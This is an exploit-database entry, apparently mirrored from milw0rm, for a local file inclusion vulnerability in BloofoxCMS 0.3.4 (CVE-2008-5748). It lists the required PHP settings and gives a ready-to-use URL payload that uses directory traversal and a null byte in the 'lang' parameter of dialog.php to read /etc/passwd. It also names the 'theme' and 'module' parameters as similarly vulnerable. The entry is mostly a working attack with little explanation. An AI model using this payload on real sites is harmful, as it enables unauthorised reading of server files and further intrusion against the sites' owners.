BloofoxCMS 0.3.4 - 'lang' Local File Inclusion
| EKU-ID: 15427 | CVE: OSVDB-51006;CVE-2008-5748 | OSVDB-ID: |
| Author: fuzion | Published: 2008-12-24 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 15427 | CVE: OSVDB-51006;CVE-2008-5748 | OSVDB-ID: |
| Author: fuzion | Published: 2008-12-24 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
BloofoxCMS 0.3.4 http://www.bloofox.com/ magic_quotes_gpc = Off register_globals = On - File Inclusion - http://site/bloofoxCMS_0.3.4/plugins/spaw2/dialogs/dialog.php?lang=../../../../../../../../../../../../etc/passwd%00 Also vulnerable: dialog.php?theme=<lfi> dialog.php?dialog=foo&module=<lfi> - Seasons Greetings - - http://nukeit.org - # milw0rm.com [2008-12-24]